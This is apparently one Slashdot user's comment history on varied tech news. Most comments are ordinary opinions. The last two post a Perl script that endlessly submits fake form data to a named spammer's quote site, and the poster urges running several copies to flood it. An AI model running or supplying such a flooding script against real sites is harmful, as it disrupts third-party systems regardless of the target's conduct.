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  1. Embraer Phenon 300 loss of stability? on FAA Warns of GPS Outages This Month During Mysterious Tests On the West Coast (gizmodo.com) · · Score: 1

    Anyone know why the FAA specifically mentions the Embraer Phenon 300?
    From the FAA NOTAM: (it's in all caps in the NOTAM)
    ADDITONALLY, DUE TO GPS INTERFERENCE IMPACTS POTENTIALLY AFFECTING EMBRAER PHENOM 300 AIRCRAFT FLIGHT STABILITY CONTROLS, FAA RECOMMENDS EMB PHENOM PILOTS AVOID THE ABOVE TESTING AREA AND CLOSELY MONITOR FLIGHT CONTROL SYSTEMS DUE TO POTENTIAL LOSS OF GPS SIGNAL.

  2. Let the TV manufacturers do what they do best on Ask Slashdot: Why Do You Want a 'Smart TV'? · · Score: 1

    Roku is taking steps to license their OS to TV manufacturers. http://cordcutting.com/intervi... TV manufacturers should concentrate on what they do best and build TV's and leave the OS to someone who's in the business of making software.

  3. And this is the free version on Face Recognition App Taking Russia By Storm May Bring End To Public Anonymity (theguardian.com) · · Score: 2

    Imagine with the likes of Facebook and other government agencies have at their disposal.

  4. Test peering on Ask Slashdot: An Accurate Broadband Speed Test? · · Score: 1

    I'd like to see a site that's capable of testing the peering throughput of a given ISP. As opposed to running a single speed test, it'd run run multiple tests consecutively via servers on different networks. Take the Verizon fiasco recently where they had a saturated link to Level 3 that affected Netflix. A peering test would be capable of highlighting this sort of thing.

  5. Re: But... but nucular is bad! on Transatomic Power Receives Seed Funding From Founders Fund Science · · Score: 2

    Nothing is 100%. Something WILL go wrong. As each day passes without incident the probability of something going wrong increases. I'm all for nuclear power, but, the cost of a nuclear disaster has to be considered. Simply saying we can build it safe means nothing. Something WILL go wrong.

  6. Spandex Analogy on Experiments Reveal That Deformed Rubber Sheet Is Not Like Spacetime · · Score: 1

    Anyone who hasn't seen the spandex analogy have a look at this YouTube Video.

  7. 11 years late for me on Amazon AutoRip — 14 Years Late · · Score: 1

    I was surprised to find that a CD I purchased back in 2001 had been added to my Amazon Cloud MP3 library a couple of days ago. I've long since lost the CD so this is great news as far as I'm concerned.

  8. Do you really think..... on FAA Device Rules Illustrate the Folly of a Regulated Internet · · Score: 1

    Do you really think if an electronic device was capable of taking down an aircraft they'd allow you to take it on board?

  9. Micro USB on Apple Exits "Green Hardware" Certification Program · · Score: 1

    Most if not all cell phone manufactures utilize the industry standard micro USB for charging. If I ever decide to purchase an iPhone I'll have to "throw away" my old charging accessories that work with 99% of phones on the market today and "buy new Apple approved charging accessories".

  10. Do the ends justify the means? on Venezuela Bans the Commercial Sale of Firearms and Ammunition · · Score: 1

    At what point do you decide that gun related violence and crime outweigh the cost of liberty? The gun related deaths are a necessary evil that come along with having the means to rise up and overthrow an oppressive government. You might say it'll never happen. If history is any indication I'm not willing to gamble.

  11. Re:This again? on Most CCTV Systems Come With Trivial Exploits · · Score: 1

    There is always opentopia.com where a simple right click, view source on the camera image will glean many unprotected webcams.

  12. Re:This again? on Most CCTV Systems Come With Trivial Exploits · · Score: 1

    There is always public webcam sites where a simple right click copy image source will glean countless unprotected camera's.

  13. Re:Congratulations, Verizon on Verizon To Kill All Unlimited Data Plans · · Score: 1

    I tether often, and I don't notice this on pages loaded on the tethered PC. It must be a forced proxy they have set up in the stock browser?

    It doesn't matter if you're using the stock browser or not. In the past you used to be able to switch to a different APN (internet2.voicestream.com, internet3.voicestream.com) and avoid the compression. I've heard that modifying the headers with a Firefox addon get's around the issue but I haven't tried it. I personally connect to my router at home via PPTP on my android to get around the compression. If you're curious if your carrier is molesting your images, download the same image over cellular and wifi and compare the size of the two.

  14. An inaccurate test on FDA Panel Backs First Rapid, Take Home HIV Test · · Score: 2

    This has the potential to further the spread of HIV. Someone who might otherwise get tested by a professional may opt for this test and consider themselves negative and proceed to have unprotected sex.

  15. Re:Congratulations, Verizon on Verizon To Kill All Unlimited Data Plans · · Score: 5, Interesting

    The only downside to T-mobile is that they compress all images to save bandwidth.

  16. Video Tour on Inside Newegg's East Coast Distribution Center · · Score: 2

    Here's a YouTube video tour of the process: http://www.youtube.com/watch?v=X2Eu-kY0JVk

  17. How about a slow down? on 'No Refusal' DUI Checkpoints Coming To Florida? · · Score: 1

    Set up some cones on street in say a sharp s-turn shape that no drunk person could possibly navigate. If you fail to drive through without knocking down a cone or two, you've got your probable cause.

  18. Re:Entirely predictable. on A Peek At the National Opt-Out Day Numbers · · Score: 1

    And frankly, next trip, I will just go through the damn scanner.

    I beg you to reconsider, if not for you, than do it for me.

  19. Re:Thanks for telling how I should use the interne on Comcast Launches Broadband Meter · · Score: 2, Informative

    Cute, but if you were to y'know... ACTUALLY CHECK WITH COMCAST, you'll find there is no such thing.

    Comcast does offer a "no cap service". According to the Comcast business rep I talked with, Comcast business accounts are exempt from the bandwidth caps. And yes, if your willing to pay for it, they will gladly setup a business account at a residential address. For the 50mb/10mb service you can expect to pay $100+ more than the standard residential 50mb/10mb package.

  20. Building an evoting machine difficult? on Sequoia Voting Systems Source Code Released · · Score: 1

    I am by no means a programmer. I know just enough PERL to write a few scripts here and there. I don't understand why building a program that stores result of whether someone pressed option 1 or option 2 is so difficult. Couldn't this be done with less than 100 lines of code? It doesn't make sense to me.

  21. Don't buy and iphone on Why AT&T Killed iPhone Google Voice · · Score: 1

    I personally use a BlackBerry Curve. I can load anything I want on it. I speak with my wallet by not buying an iphone.

  22. Antidepressants on Why Do We Name Servers the Way We Do? · · Score: 1

    With so many antidepressants on the market I never have a shortage of server names. Prozac, Paxil, Zoloft, Cymbalta, Effexor......

  23. T-Mobile UMA Works! on Wi-Fi Phones Reviewed · · Score: 4, Interesting

    First off, the article is flat wrong, I can use my Nokia 6136 on ANY WiFI I want. I am not limited to just t-mobile hotspots. I roam all over the country and latch on to different WiFi networks without a problem. The SSID "linksys" is my friend. I get unlimited WiFi calls and it seamlessly switches to GSM when I leave the WiFi area. One thing nice is, if I start a call on WiFi and roam to GSM, it's still billed as a WiFi call.

  24. Re:anonymous on Artists Against 419 Releases Mugu Marauder · · Score: 0

    OOPS....here is what I meant.....

    #!/usr/bin/perl
    $loop = "1";
    $a = "1";
    use WWW::Mechanize;

    while ($loop > 0){
    $a++;

    use WWW::Mechanize;
    my $mech = WWW::Mechanize->new();

    $mech->get( "http://finale.savagequote.com/?name=vn" );
    $mech->success or die $mech->response->status_line;

    $mech->form_number ( 1 );
    $mech->field ( data_order => "fname,lname,address,city,state,zip,hphone_area,hp hone_prefix,hphone_suffix,wphone_area,wphone_prefi x,wphone_suffix,email,amount,propvalue,loantype,pr oplocation,creditrating,proptype,propuse,propzip" );
    $mech->field ( partid => "vn" );
    $mech->field ( fname => "You" );
    $mech->field ( lname => "Spammedme" );
    $mech->field ( address => "Stop spamming me" );
    $mech->field ( city => "Spammers" );
    $mech->field ( state => "DC" );
    $mech->field ( zip => "35879" );
    $mech->field ( email => "yousapmmed\@me.com" );
    $mech->field ( hphone_area => "888" );
    $mech->field ( hphone_prefix => "333" );
    $mech->field ( hphone_suffix => "5555" );
    $mech->field ( creditrating => "1" );
    $mech->field ( homeowner => "1" );
    $mech->field ( homevalue => "1025000" );
    $mech->field ( propertytype => "1" );
    $mech->field ( mortgage1 => "47500" );
    $mech->field ( currentinterestrate => "14.25" );
    $mech->field ( loanamountdesired => "1025000" );
    $mech->field ( loanpurpose => "7" );
    $mech->field ( submit => "Get Quoted" );
    $mech->submit();

    $mech->success or die "post failed: ",
    $mech->response->status_line;

    }

  25. Re:anonymous on Artists Against 419 Releases Mugu Marauder · · Score: 0

    How about something like this: #!/usr/bin/perl $loop = "1"; $a = "1"; use WWW::Mechanize; while ($loop > 0){ $a++; use WWW::Mechanize; my $mech = WWW::Mechanize->new(); $mech->get( "http://finale.savagequote.com/?name=vn" ); $mech->success or die $mech->response->status_line; $mech->form_number ( 1 ); $mech->field ( data_order => "fname,lname,address,city,state,zip,hphone_area,hp hone_prefix,hphone_suffix,wphone_area,wphone_prefi x,wphone_suffix,email,amount,propvalue,loantype,pr oplocation,creditrating,proptype,propuse,propzip" ); $mech->field ( partid => "vn" ); $mech->field ( fname => "You" ); $mech->field ( lname => "Spammedme" ); $mech->field ( address => "Stop spamming me" ); $mech->field ( city => "Spammers" ); $mech->field ( state => "DC" ); $mech->field ( zip => "35879" ); $mech->field ( email => "yousapmmed\@me.com" ); $mech->field ( hphone_area => "888" ); $mech->field ( hphone_prefix => "333" ); $mech->field ( hphone_suffix => "5555" ); $mech->field ( creditrating => "1" ); $mech->field ( homeowner => "1" ); $mech->field ( homevalue => "1025000" ); $mech->field ( propertytype => "1" ); $mech->field ( mortgage1 => "47500" ); $mech->field ( currentinterestrate => "14.25" ); $mech->field ( loanamountdesired => "1025000" ); $mech->field ( loanpurpose => "7" ); $mech->field ( submit => "Get Quoted" ); $mech->submit(); $mech->success or die "post failed: ", $mech->response->status_line; } Run severl instances of somthing like that......